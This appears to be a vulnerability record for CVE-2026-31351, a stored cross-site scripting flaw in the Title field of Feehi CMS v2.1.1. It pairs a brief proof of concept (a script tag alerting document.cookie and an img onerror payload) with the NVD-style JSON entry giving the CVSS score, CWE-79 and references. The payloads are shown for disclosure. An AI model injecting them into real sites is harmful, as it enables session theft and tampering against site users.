CVE-2026-31351

<!-- PoC for CVE-2026-31351 --> <!-- Payload to be injected into the Title parameter --> <script>alert(document.cookie);</script> <!-- Alternative Image Tag Payload --> <img src=x onerror=alert('CVE-2026-31351_XSS')>

{"cve": {"id": "CVE-2026-31351", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:32.917", "lastModified": "2026-04-07T21:14:30.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated stored cross-site scripting (XSS) vulnerability in the creation/editing module of Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Title parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:feehi:feehi_cms:2.1.1:*:*:*:*:*:*:*", "matchCriteriaId": "C27559F1-734D-4924-AD35-EDC2DD9EDF7C"}]}]}], "references": [{"url": "https://github.com/liufee/cms", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/liufee/cms/issues/81", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Mitigation"]}]}}